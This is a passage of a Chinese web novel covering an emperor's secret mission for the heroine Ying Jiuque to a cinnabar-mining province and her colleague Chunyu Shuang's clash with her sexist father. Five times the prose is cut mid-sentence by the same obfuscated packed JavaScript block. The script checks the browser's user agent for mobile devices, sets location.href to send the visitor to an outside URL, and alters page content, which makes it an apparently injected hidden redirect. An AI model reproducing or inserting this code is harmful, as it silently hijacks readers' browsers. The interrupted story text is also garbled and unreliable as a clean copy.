几个小孩子见状发出了惊呼,哪怕已经看过许多遍,可是当再看到应大人这与无与伦比的力气时,大家还是会觉得惊讶,尤其是小孩子们,几乎将应九阙当成了心中的偶像,这世上哪有像应大人这么完美的人啊?不仅被陛下赏识,得了官位爵位,为人清正公平,如再世青天,甚至力气也这么大,以后他们也要成为这样的人! 看着大家这么捧场,应九阙也特别开心,干脆给大家表演了一个,扛着沉甸甸的柱子在新村的范围内转了好几圈儿,刚好迎面撞上一脸惊诧的九福。 九福的表情怎么说呢?就好像看到泰山崩塌一样,那叫一个懵逼茫然。不是,才几日不见,怎么应县主就力大无穷了?难道当真如同小太监宫女们传的那样,这位应县主是天降福星? “九福公公好呀,怎么有空来这儿了?是有什么事儿吗?” 九阙瞬间露出一个端庄淑女的微笑,随手将那根庞大的柱子扔在一边,发出沉闷的声音。这对比强烈的一幕险些叫九福晕过去,不是,这满京城的名门贵女,有哪一个像应县主这般力大无穷? 不过话说回来,如果不是这般与众不同,也就不是应县主了。 九福公公的素养也不是盖的,立马露出一个热烈的笑容,那叫一个亲切。 “哎呦,我的县主哟,您这都几天没见陛下了?陛下想你想的紧,这不,才过几天呀,就巴巴的让奴才带着这口谕来了。请您入宫一见呢。县主有空没有?若是有空,拾掇拾掇就跟着奴才进宫?” “当然,请公公捎待片刻,我一会儿就好。” 方才应九阙跟大家一起搬东西弄得一身灰尘,若是这样进宫难免有些不具体,于是跟九福公公打了个招呼之后就回去整理自己了。倒是这边儿剩下工作的人看着九福公公一行,眼里的好奇止都止不住。他们虽然生活在皇城脚下,但对于那座巍峨富丽的宫殿依旧十分陌生。 老百姓嘛,对于上层世界还是比较好奇的,尤其是如今的皇帝陛下,如果说之前他们对景泰帝不太了解,但是自从这次景泰帝大刀阔斧的将无忧洞整理干净,大大赢得了民心。大家虽然明面上不敢讨论,但私底下和家人说起的时候没有一个不赞叹的。这可是个把他们老百姓放在心里的好皇帝。 因此,九福毫不意外的收获了一群满是善意的好奇眼神,这对他来说倒是一种新奇的体验。自从他入宫服侍陛下以来,周围递过来的眼神什么都有,居高临下的,鄙夷厌恶痛恨的,就是没有这么纯然的善意。 倒是叫九福有些不适应了。 尤其是这会儿。一群小孩儿仰着脑袋小心翼翼走到他身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501239|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,为首的那个还像小大人似的开口。 “这位公公,陛下叫我们应大人进宫干什么?是好事还是坏事呀?不会是因为那个林侍郎执意要和我们应大人分宗所以要说她?公公,我们应大人可是个好官儿。那个林侍郎什么都不知道,什么也没做过,上来就把我们家应大人逐出家门。不就是担心应大人连累他吗?这么多天下来,应大人平安无事,倒是他,私下都被人笑死了。” 九福作为陛下最信任的大总管,对于京中动态自然了解颇深。这件事他也听说过,不过是当成个笑话听的。那个林侍郎平日里看起来也算聪明机灵,要不然也不会四十多岁就做到侍郎的位置上。可不知为何这段时间总是频出昏招。 像应县主这样的天降麒麟女,不好好捧着惯着养着,反而逐出家门,真不知道他脑子到底怎么长的。先不说应县主根本没犯错,就算犯了天大的错误,看在那些霹雳火的份上,陛下也不会惩罚她,反而会把她当成吉祥物一般高高的捧着! 那可是说不定能改变整个天下局势的武器。林家能不能改换门庭就落在应县主身上,想不到对方不仅不要这天赐良机,甚至还要把麒麟女女赶出去,当真昏头。 摇了摇 头,把这些杂念赶出去,不管怎样,这些和他都没关系。倒是这几个小孩儿…… 天气渐暖,大家衣裳也穿的轻薄,看见这几个孩子缺少的手脚,九福心里一动。 这几个就是应县主救下来还亲自抚养的孩子吧?瞧这小脸蛋儿,红扑扑的。哪里还有被磋磨的小乞丐模样?可见这位县主是当真心地善良,不是用这几个小乞丐来为自己添一层好名声。如今这天底下,像应县主这样纯然善良的人可不多了。 像他这样的人,感受到的恶意太多,遇到个真正善良的,难免觉得,这日子啊,还是能过下去的。 于是当应九阙出来的时候,对上的就是九福公公十分真诚的笑脸。 九阙:“?” 第八十七章 你想出个远门儿不? 虽然不知道九福公公为什么会露出这样的表情,但九阙还是十分配合的也跟着露出个笑脸。 随后一行人就到了皇宫,进到那熟悉的养身殿,九阙其实也奇怪,陛下为何会在这个时候召她?之前无忧洞的案子不是已经结束了? 而当景泰帝把一沓证据摆在九阙面前时,九阙仔细看了看,忍不住皱眉,原来这些纸上记载的都是朝中大臣,王公贵族服食回春丹上瘾的证据。 “如果不是派专人去查证,都不知道底下有这么多大臣都有吃回春丹的习惯。自古以来,王公贵族服食丹药早有记载,不过是附庸风雅的证据罢了。朕以前也不觉得吃丹药会吃出问题,可是集合整个太医院之力对那些丹药进行探查之后,无一例外的发现,所有的丹药里都含有不同用量的朱砂水银。这几日太医院谢明尘用那些丹药喂食老鼠兔子鸡鸭等小型动物,无一例外,要么疯癫发狂,要么直接暴毙。由此可见,这丹药不可长期服用。” 景泰帝说到这里突然闭嘴,脸色有些难看。九阙仔细想了想,再对照一下听说来的丹药特性,试探性的发问。 “难道那些吃丹药的人已经上瘾,无法戒断?” “……比那还要严重些,朕有一个战场上同生共死的兄弟,他在那场战争中身中十九刀,刀刀见骨,虽然侥幸活下来,可是那些伤口每天都剧痛不止。虽然有太医院随时诊治,可不知为何我那兄弟的痛楚从未减轻过。” “大概五年前起,我那兄弟的状况突然有了很大转变,还以为是太医院的药方终于有了作用。可这次查出,他是因为服用了大量回春丹才勉强抑制住痛楚。那丹药剧毒无比,怎能让他长期服用?于是朕下令断了他的丹药供给。可没想到……” 不知回忆到了什么让他痛彻心扉的事情,景泰帝眼底闪过一丝悲痛。 “我那兄弟可是个铁骨铮铮的汉子,哪怕从那之后一直饱受疼痛侵扰,却从来没有认输。可是在断了几天丹药之后,我那兄弟痛哭流涕,跪在地上求着侍卫把那丹药给他……那几乎不像是我那位兄弟了。” 那种卑躬屈膝,趴在地上祈求别人把丹药给他的模样,哪里像一个身经百战,不屈不挠的将军?更像是个贪生怕死的软骨头。 也是从那时起,景泰帝深刻认识到回春丹对人们的危害。连他兄弟那样意志力坚定的人都会变成这般卑躬屈膝的可怜虫模样,放在普通人身上就更难以控制。 若只是个普通人,影响的也不过是自己和小家,可若是放在朝廷重臣身上呢?要知道他们的每一个决策对底下百姓来说都如山峦一般沉重。哪怕只是轻微变动一点点,落在百姓身上,也会难以承受。 若是这些丹药用在他身边服侍的太监宫女身上…… 就算是宫中最严谨的太监宫女,终究也是个人,只要是人,总会有缺点,若是吃那种丹药上瘾,由别人控制住丹药的供给来源,要求他(她)做点微不足道的事情,比如说在皇帝的饮食中下点儿慢性毒药。又比如说晚上趁着皇帝睡着的时候,把窗户打开一条细缝,让冷风吹进来。又或者寒冬腊月的时候将碳盆燃的更热烈些,门窗遮挡的严严实实…… 这种只需要抬抬手就能做到的事情,就能换到让自己重回极乐的丹药,想必很多人都愿意。尤其是,丹药上瘾的人根本就不知道礼义廉耻,良知公俗。哪怕是杀头灭九族的大罪,也抵不过他们那一瞬间的痴狂。 景泰帝简直越想心里越发寒,趁这个机会在宫中好好搜查了一番,并且命令太医院的人一一进行诊脉,还真让他揪出来许多脉象古怪的宫女太监。秉着宁可杀错不可放过的原则,景泰帝直接把那些宫女太监圈禁起来,命人不间断监视,还真揪出来几条外头丹药流入宫中的线。 虽说已经把那些有异样的人连根拔起,但景泰帝心里依旧扎了根刺,他甚至都不敢相信自己身边的人。要说这个时候他唯一可以信任讲述的人,那就只有应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501240|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 九阙了,毕竟这是个连自己心声都会被他听到的人。 就比如说此刻。 【这听着怎么那么像毒品上瘾?如今这个时代有这样的技术?不过这也说不定,不都说中医博大精深?再结合一下炼丹术,说不定还真能弄出这种会让人上瘾的丹药。还好我没吃过乱七八糟的丹药,那些丹药上瘾的人估计跟毒品上瘾一样,人性会逐渐丧失。不得不说老皇帝做的真不错。要是把那些人继续放在自己身边,还真是给自己搞了颗定时炸弹。】 景泰帝微微松了口气。不是没有臣子觉得他这样大动干戈实在是不必要,可他就是不放心,如今得到应九阙的赞同,也算有了点儿心理安慰。 “陛下需要微臣做什么?微臣一定赴汤蹈火,在所不辞。” 景泰帝就喜欢应九阙这不需遮掩坦坦荡荡的性子,给她安排点儿活儿,也不需要推三阻四。因为只要能做到,九阙就不会推辞。 不过景泰帝还是仔细斟酌了下才开口。 “朕想交给你一项需要保密的任务。这天底下最上等朱砂的产地在黔州,就是这么巧,那些被查出来的丹药所含朱砂品质上等,而更巧的是,几年前泉州那边的朱砂大矿发生崩塌,已经许多年不产上等朱砂了 。朕查了查黔州州那边的账本,总觉得有问题。可民间不是有句老话吗?天高皇帝远,朕如今身在京城,不能把控黔州的局势,所以需要一个人去往泉州,查清楚朱砂大矿是不是真的崩塌。九阙,你可愿意做这个钦差?” 九阙想了又想,她对于出远门儿这件事儿倒是没什么抗拒的,可问题的关键在于,她如今手上正建着的新村还需要收尾…… “陛下,微臣当然愿意。但臣手下的残老新村……” “这个没关系,朕会让戚征接手。他的人品你能信得过吧?不过他也只是帮忙收个尾,这件事的功劳还在你身上。毕竟如果不是应卿,也不会有这么绝佳的处理方法。” 第八十八章 秘密钦差 这下九阙没办法继续推辞了,毕竟没什么后顾之忧了。 不过,陛下难道准备让自己单蹦一个人过去?虽说她手上有把子力气,可对如何做个钦差一窍不通啊。 “这点你无需担忧。朕会给你派几个副手,还是你想自己挑选?” 这是可以挑的?如果当真挑选的话,会不会让人觉得她恃宠而骄啊?当然了,如果真可以挑选的话,她还是想挑淳于他们几个熟识的。 【不过我要是提淳于他们的名字,老皇帝会不会认为我结党营私?不行,我已经是个成熟的官员,绝对不能犯这种低级的错误,老皇帝一定是在试探我的忠心。这个时候怎么能自己开口?说不定的皇帝早就已经把人选拟好了,只是跟我客气客气,我可不能当真。】 于是九阙十分诚恳的表示。 “微臣惶恐,全听陛下做主。” 看起来倒是个谦虚谨慎的臣子模样,但景泰帝早就已经把她的心声听的清清楚楚,这会儿忍不住嘴角一抽。就她这点儿当官的资质,比起那些老谋深算的臣子当真是差远了。这还担心自己忌惮,真是给自己脸上贴金呐! 早就已经知道应九阙是个什么人的景泰帝也没跟她客气,直接就点了淳于霜谢明尘甚至魏渊的名字。 “这三人能文能武,淳于霜是把办案的好手,魏渊武功不错,这一路奔波劳累,人吃五谷杂粮,免不了会生病。谢明尘虽然年轻,却是太医院的一把好手。那批丹药里的问题就是他看出来,此行去黔州,他的医术定能派上大用场。你还想要谁?朕一并给你。” 听见这话,哪怕是九阙并没有点亮的智商,也觉得大大不妥。瞧陛下这话说的,把朝廷命官说的跟地里的大白菜似的,想要哪个要哪个。就算她想要,可对朝廷里的官员也不了解呀,而且听陛下所言,淳于他们三个就已经足够了,还要再加上一位崔逐风前辈,那位前辈的武功当真是天下第一。说不定比魏渊还要高。 想了又想,觉得他们这人手配置已经足够,于是应九阙摇摇头,顺便还拍了一句马屁。 “陛下的安排定然最周全,微臣也觉得很好。” “果真?” “果真。” 生怕老皇帝察觉不到自己的诚意,九阙配上点头的动作,表情那叫一个诚恳真挚。要是不熟悉她的人说不定还真会被骗,但是对于已经把她心声听的清清楚楚的景泰帝而言,这小丫头片子就是在装蒜。 不过很奇怪的,景泰帝并没有觉得生气。 若是换成别人在自己的努力即将出成果之际临时被替换,说不定心中该如何恼怒,可换成九阙这孩子,遇上这种在外人看来极其不合理的事,也一点儿都不生气。 或者说她根本就没想到有人摘桃子,只想着把老皇帝交代下来的任务办妥。如今这年头,像九阙这样实诚的孩子是真不多见呀。这也幸亏是自己,要是换成别的皇帝,指不定得把这孩子搓磨成什么样。 “应卿放心,该给你的,朕一星半点儿都不会少。给你加官进爵的圣旨已经备妥,等你从黔州回来,一并加封。” 【啊,原来我还能加官进爵?还以为只能做六品巡城御史,不过这个巡城御史的活做起来也挺舒服,大家很热情,说话又好听,还不用面对朝中那帮大臣的老梆子脸。不过加官进爵应该是件好事吧。这么一路升上去会不会比那姓林的官职还高?要真是这样,到时候我要站在他面前趾高气昂的炫耀,气死他!嘿嘿嘿……】 “能为陛下办事是微臣的福气。” 景泰帝真的很想挑眉,但最终还是忍住了,同时心中有种诡异的平衡感,原来九阙对那些不喜欢的人都是一视同仁,哪怕对方是他亲爹也是如此。 不过这么说来,林炜还真不是个好爹啊。如果九阙是自己的女儿该有多好…… 两人各自畅想了一番,然后敲定了去黔州的具体行程计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501241|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 划,景泰帝就让九福送九阙出去了。送应县主出去的途中,九福忍不住对她露出了更加灿烂的笑脸。真是多亏了应县主的福,魏渊那小子才有更多在陛下面前露脸的机会。 这次去黔州当然会有危险,但自古以来富贵险中求,若是魏渊那小子不能从这件事中历练出来,那以后他也不必舔着脸在陛下面前提他的名字。魏渊那孩子当然是个有能力的,可这世上有能力的人海了去了,能在真正的掌权者面前露脸才是最重要的。 要不然就算再有才华,没有施展的地方也是白搭。 “应大人,此去黔州,还得托应县主多照看照看魏渊那小子了。那孩子虽然年纪不小,可心里缺根弦,愣头愣脑的厉害。有什么活只管指挥他去做,要是他胆敢不听话,您回来告诉我,我替您抽他!” 这话说的,九阙都不知道该怎么回复了。魏渊就算真做了错事,那也不是她能责怪的了的。不过这位总管大人的意思也很清楚,大家彼此照应罢了。 于是两人难免互相谦让了一番,等笑眯眯的把应县主送走,九福总管回头就去找魏渊,再三强调,就是你自己被砍了,也不能让应县主伤到一分一毫!魏渊觉得自己都快习惯了,自从认识应九阙,陛下和义父的行为举止就古怪的很。每次出去办案 都要交代他这些话,魏渊真的很怀疑应九阙跟陛下的关系。 当然了,这样的话他也就是想想,可不敢叫义父听到。 这边九阙回到家里,把应远道几个孩子叫过来好一声叮嘱,她这次去黔州还不知要去多长时间,把他们放在家里难免担心几个小孩子的安全。之前在皇宫里干脆跟陛下求了情,她走的这段时间把几个孩子放在皇宫里。要说这普天之下最安全的地方,莫过于老皇帝的所在。尤其这次老皇帝还把整个皇宫从内到外狠狠清理了一遍。九阙对此很放心。 就是几个孩子很舍不得她。 “大人又要走了吗?” 第八十九章 淳于家 “是呀,不过不会去很长时间,你们这段时日乖乖的在皇宫待着,陛下是个很好的人,会保护你们。你们也要听话,皇宫毕竟不比咱们自己家,规矩多。不过也不必担心,有陛下在,没人会主动招惹你们。” “……这样啊。” 虽说应远道他们几个很相信九阙的话,但也分时候,就比如说现在,应大人不在京中,而他们要去传说中的皇宫,总觉得心里没底气。但大人就要出发,总不能在大人出发前还让大人担心他们吧? 于是几个小家伙虽然心里忐忑,却都没有表现出来,成熟的有些过分了,看着他们这样,九阙心里也不好受,不过她这次出去不是游玩,而是有任务在身也不好带着他们,而且泉州那边的情况到底如何谁也不能确定,万一有危险呢?几个孩子还是太小了,不能保护好自己。 “嗯,这样吧,等你们长大了能够照顾好自己,我就带你们出去游玩。天下这么大,五湖四海十六州,每个地方的景致都不同。到时候我们一起游遍天下,你们说行吗?” “真的?!” 应远道几个小孩子那叫一个兴奋。大概小朋友们总是向往远方,在听到可以跟着自己最尊敬的应大人游遍五湖四海,几人都控制不住脸上的笑容。再三询问,得到肯定的答复以后,纷纷喜笑颜开。 有这样的大饼在前面吊着,小朋友们总算不觉得落寞了。 而淳于霜几个在得到陛下的秘密召见任命之后,都纷纷回去准备。淳于霜出了皇宫仔细想想,还是朝着桂花胡同走去。 其实她对整个京城的地形都很熟悉,却觉得走往桂花胡同的路途是如此陌生艰难。只不过就算走的再慢,这条路也总有尽头。当看到那条胡同口熟悉的街坊邻居时,淳于霜还是逼着自己露出了个笑脸。 街坊邻居们见她回来,既惊讶又高兴,毕竟这可是从他们这条胡同里走出去的官儿。哪怕是个女娃子,但也是堂堂正正的官员。这会儿热络又不失礼节的纷纷走过来打招呼。慢慢的,人越来越多,几乎把淳于霜围住了,可她却并不觉得不喜,反而由衷的松了口气。 她还是更喜欢和街坊邻居们说话,只不过就在众人叙旧的时候,一道疑惑的女声响起,让淳于霜整个人的身体都僵硬了一下。 “霜儿?你回来了?!” 淳于霜静默片刻,深吸一口气,转过身去露出个标准的笑脸。 “娘。” 从人群中挤进去的是个中年妇人,穿着打扮要比周围这些街坊邻居富贵些,但或许是过于操劳,看上去比实际年龄要老些。这会儿看到穿着官服的淳于霜,眼中闪过一丝惊喜,然后温柔上前,带着淳于霜回去。 淳于霜任由她拉着自己的衣袖,耳边是中年妇人语气轻柔的絮叨声,从家长里短说到街坊邻居的消息,她的态度是如此的熟稔,就像淳于霜从来没有离开家一样。 因为她的态度,淳于霜僵硬的身体略微放松,只是在迈入那道小院的木门时,脊背忍不住挺直。小院的藤椅上正躺着一个懒洋洋晒太阳的人。 “回来了?怎么去这么长时……逆女!你还有脸回来!谁让你回来的?滚出去!” 那是个四五十岁左右的男人,前半句明显是对着淳于霜的娘说的,后半句是看到了站在中年妇人后面的纯于霜,原本温和的语气顿时变得激烈。 人也从椅子上站起来,手臂激烈的挥舞,就像看到了自己此生最大的仇敌。这哪里是看到了自己的女儿?根本就是见到了自己的杀父仇人! 淳于霜原本就僵硬的脊背此刻更是挺直,她安静的看了一眼面前这个父亲,没有说话,倒是站在她前面儿的中年妇人小声劝慰。 “好了好了老爷,孩子好不容易回来一趟,你就别生气了。就算霜儿再不好,也是你的女儿啊。这父女之间,哪有隔夜仇的?” “你?!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501242|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那中年文士模样的男人一根手指指着自己的妻子,抖的不行。 “还不是你宠的?!要不是你宠着惯着,她会长成现在这丢人现眼的模样?一个女子,抛头露不说,还非得去刑部那种阴森的地方,今年都二十五了,还没定下人家成亲。你瞅瞅咱们周围的街坊邻居,有哪户人家的闺女像她这样?我这张老脸都被丢尽了!我现在为什么不出去跟老于头他们说话喝茶下棋?那是因为我觉得丢脸。人家的女儿一双儿女都八岁了,承欢膝下,别提多舒服了!她呢?连个人家都没找到,再继续这样下去,有哪个男人能看得上她?” “这女人不比男人,过了十八岁就很难再找到同年龄段更好的男人。我这是当爹的才说这样的大实话,这要是放到外面那些陌生人身上,他们才不会管你女儿嫁没嫁出去!” “好了好了,少说几句,闺女好不容易回来一趟,你这个当爹的就闭嘴吧。老大他们快回来了,你去沏壶好茶,待会儿咱们一家人热热闹闹的吃顿饭。” 有淳于氏的从中斡旋,这对父女总算没有在淳于家的儿子们回来之前继续争吵。 当然,主要也是因为淳于霜一直都没说话。 不多时,桌子上摆满了一桌子好饭菜。外面也传来了喧闹声,随着推门的声音,一连走 进来三个高挑的身影。或许是在进家门之前就听街坊邻居们提起过,所以看到坐在桌旁的淳于霜,三兄弟并没有感到惊讶,甚至还不咸不淡的跟她打了个招呼。 淳于霜的娘刚刚忙忙碌碌半天,做了一桌好饭菜。也不让淳于霜插手,毕竟她还穿着官服,这会儿见人都到齐了,热闹的招呼大家一起吃饭。 只不过,淳于宏看一眼坐在桌子旁边一动不动的女儿,忍不住皱起了眉,习惯性的教训。 “看你娘忙碌这么半天,你也不知道搭把手,你就是这么当人女儿的?忠孝之道这么快就忘了?!” 第九十章 不孝逆女! 淳于霜看了一眼桌子旁边老神在在坐着的三个兄长,没有搭话。谁料想看到她这样,淳于宏更生气了。 “你看你三个哥哥做什么?他们三个是男人,哪有男人下厨房的?你是个女人,哪怕在外面做了官也还是个女人,回到这个家你就得帮你娘做事!我让你帮个忙难道能累死你不成?你就是这样做官的?做官讲究忠孝仁义,你说说你做到了哪一点儿?你除了回来气死你老父亲,还能做成什么事?在刑部七年了也只是个正六品司务,女人就是不行。如果你早听我的,当初把这个官让给你哥,你哥现在早就扶摇直上了!你们可是骨肉至亲!你真是……” “啪嗒!” 一甩手把筷子扔在桌上,淳于家所有人都愣了,紧接着不可置信的看着淳于霜。以前淳于霜也会当着全家人的面教训这个离经叛道的妹妹,不管淳于霜心里怎么想,表面上从来不敢违抗。可以说她二十五年来最大的一次违逆,就是拒绝把自己的官位让给家中的几个哥哥。 可她才多长时间没回家,就已经敢当着全家人的面跟自己亲爹甩脸子了? “你!你!好啊,我早就知道你是个逆女,从小就一身反骨,现在看来更是有过之而无不及!为人子女,父亲教训你几句,你竟然还敢反抗?反了天了!别以为你现在当官儿就了不起了,只要我一句话,你这个官儿能不能继续当下去还是两说!” “老爷!爽儿她不是故意的,这孩子好不容易回来一趟,咱就别吵了行吗?街坊邻居都听着呢,要是传出去什么不好听的就麻烦了。” 淳于宏瞪了自己发妻一眼,不过她说的有道理,老头子还是渐渐平息下来,只不过看见淳于霜那张无动于衷的脸,怒火再次翻腾。 也不知道是不是风水问题,他家一共四个孩子,前三个儿子虽说不是什么绝顶聪明的人,但有他帮衬着,在礼部做个芝麻粒大小的官,日子好歹也能过得去。 偏偏这个最小的女儿,从小就倔强。小的时候,不过是让她和发妻在厨房里吃饭不得上桌,她就跟疯了似的大闹一场,闹得整个桂花胡同的人都知道。弄得淳于宏很没有脸面。这年头,不让家里的女人上桌难道不是常识?老家那么多人都是这么干的,也从来没见哪个做闺女的敢大闹一场,甚至还敢掀桌子。偏偏他这个闺女就能做到! 只不过因为那一场大闹,怕被别人看笑话,淳于宏没法子,只能让母女二人上桌吃饭。这也就罢了,不过是件能窝在家里的事儿。可这死丫头,在十七岁那年竟然背着家里所有人偷偷去参加了刑部司考!更叫人生气的是竟然还过了! 虽然已经过去整整八年,可他依旧记得当初得到这个消息时有多愤怒,毕竟那时候他早就已经跟同僚同僚商议好,要把淳于霜嫁给同僚的儿子,那同僚的儿子虽然年纪稍微大了点儿,前头也有一房过世的妻子,可人家可是堂堂正正通过科举考上来的! 前头的妻子只留下一个两岁大的女儿,一个小丫头片子能做什么?等淳于霜嫁过去,做了当家主母,生他七八个男孩儿,地位不就有了?偏偏这个逆女,在一家人都不知道的情况下偷偷跑出去,考什么官?! 而且还把这件事搞得人尽皆知,他那个同僚听说这件事之后直接就退了亲。那位同僚的原话。 “我家儿子太过老实,本来是想给他找个温柔贤惠的妻子持家。淳于兄家中的女儿我也见过,本以为是个老成持重的,没想到心有沟壑,竟然连刑部的司考都能考上,当真了不得。我家那个蠢儿子,配个一般人也就罢了,可却配不上你家闺女啊,齐大非偶,我是高攀不上了,淳于兄还是为女儿另择良婿吧。” 虽然那位同僚说的委婉,但淳于宏却觉得自己的颜面都被丢干净了。家里的三个儿子别说刑部司考了,考了好几年,连个不入流的小吏都考不上。偏偏这个女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501243|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿,一次就考上,这不是让别人笑话家里的儿子们不争气,连妹妹都比不上吗? “我这辈子,最后悔的事情就是没阻止你识字!你学了天地君亲师,仁义礼智信,忠孝节义全,却做不到一个女儿应该有的孝道!当初你三位兄长那么艰难,没有好的官位,根本娶不到好的妻子,不就是让你把官位让出来,你竟然离家出走!一个好人家的女儿,怎么敢离家出走?你这名声传出去,哪个好人家的儿郎愿意娶你?!” “你三个哥哥从小和你一起长大,他们平日里难道对你不好?不过是个小忙你都不愿意帮,如今还上赶着回来做什么?别以为你当了官就了不起,世界上当官的人多了去,人家都没你你这张狂样!” 淳于宏气的脸红脖子粗,这会儿不断的大口喘气,发妻连忙上前拍他的脊背,生怕他气晕过去。同时给淳于霜使眼色,想让她趁机服个软。 然而淳于霜依旧坐着没动,她只是看一眼没说话的三个兄长,气喘吁吁的父亲,担忧的母亲,末了,冷笑一声。 淳于宏顿时大怒,声音猛然拔高! “逆女!你笑什么?你把咱们家弄成这个样子还能笑得出来?!我真后悔当初你娘生你的时候没把你淹死!” “那你就去啊!” 淳于霜一挥手直接将面前的杯子砸在地上,瓷器 粉碎的声音让所有人都愣了一下。在淳于宏发怒之前,淳于霜冷漠开口。 “少把所有的问题都推到我身上,当初就算我愿意把官位交出来,家中三个兄长,你想让谁去当官?!官位可是只有一个!” “那当然是!” 淳于宏险些将幼子的名字脱口而出,好在临时看了一眼两个大儿子,才艰难的咽回去,皱着眉头训斥淳于霜。 “逆女!少在这里挑拨离间,你反正没有将官位名额让出,如今说这些有什么用?” 第九十一章 无差别攻击 “是啊,你也知道我没有把名额让出来。我辛辛苦苦得来的官位,我在辛苦劳作,操持家务的同时挤出时间,哪怕不睡觉我也要用功,我准备了整整三年!我好不容易得到了这个结果,我可以走出家门,可以不必被你这样的人操纵人生,凭什么要把我辛苦得来的官位拱手让人?” “兄长?哈!” 淳于霜不屑一笑。 “你从来都重男轻女,他们三个从小什么都不用做,只需要用功读书,就能吃饱穿暖,我不仅得帮着娘操持家务,做饭菜,还要被冷嘲热讽惩罚!只要我的功课稍微超过他们,接下来一个月我都得夹起尾巴做人!凭什么?我就想问一句凭什么?难道我凭着自己的努力得来的结果也要无缘无故让给别人?就因为他们是儿子而我是女儿?” “你既然如此高风亮节,为什么不把自己的五品官让给二叔让他做官?!反正你们也是骨肉至亲,你这个当哥哥的,为什么不让着自己的弟弟?!” “你!你!你这个逆女,真以为攀上了应九阙就能飞黄腾达?!不过是个女人,早晚要成亲生子照顾家人,早晚被拉下去!” 淳于宏嘴唇抖得不成样子,几乎站不稳,可淳于霜一点儿都没有闭嘴的意思。她本来没想多说什么,毕竟家里人是什么样子她早就清楚,说的再多他们也只会装死。可淳于好说什么不好,非得说应县主,应县主光风霁月,高风亮节,哪怕立了大功也不喧嚷,明明做了好事也不留名,这些人凭什么说她?难道就因为女人的身份?! 多年的忍耐在此刻终于破功,淳于霜根本控制不住自己的嘴。 “人都说子不教父之过,你既然让我伟大无私为家人奉献,你就给我做出个榜样来啊!圣人都说己所不欲勿施于人,你读了这么多年圣贤书,怎么一点儿圣人该有的品德都做不到?” “再说,你让我把官位让给他们?” 淳于霜指了指旁边装死的三个哥哥,不屑一顾。 “他们三个被你悉心教导,考了十几年都考不中!被你荫蔽在礼部做了这么多年小吏,还是一事无成!至今依旧是小吏!就算我将这个名额给他们又如何?当初我考上的可是九品置办,不入流的微末小官,既没有经过正经的考试,也没有族人长辈提携,八年过去,你不过比我高半级而已,有什么可得意的?你做了三十年官才到五品,你有什么好骄傲的?!” “就算我把名额让给他们中的一个,你觉得他们如今会是什么品级?” “吏部考核官吏,接连三年,他们三个都是下下等!要不是你每年塞大把的银子,他们早就被撤职!事到如今,你不反思自己的过错,反而将一切都怪我头上,不过是在躲避自己的职责!你以为把所有的一切都推到我头上就能独善其身?错了,别人只会嘲笑你,苦心教养的儿子一个不成才,忽视的女儿却接连升官!” “怎么?你是嫉妒了?嫉妒我比你年纪小就能得到陛下赏识升官?哈!当真狭隘!现在都是什么时候了!应县主主审无忧洞一案,上下共管,不出几日,经营上百年的无忧洞就被连根拔起,有罪和有失者都被判刑,谁敢说一句她是个女子让她把功劳都让出来?!我朝有应县主这样的女子,才是天下女子之福!” “而像你这样的男人……” 淳于霜冷笑一声,看着面前这个气的直喘粗气的男人,头一次觉得,记忆里那个如同山峦般高大的男人也就这么回事罢了。 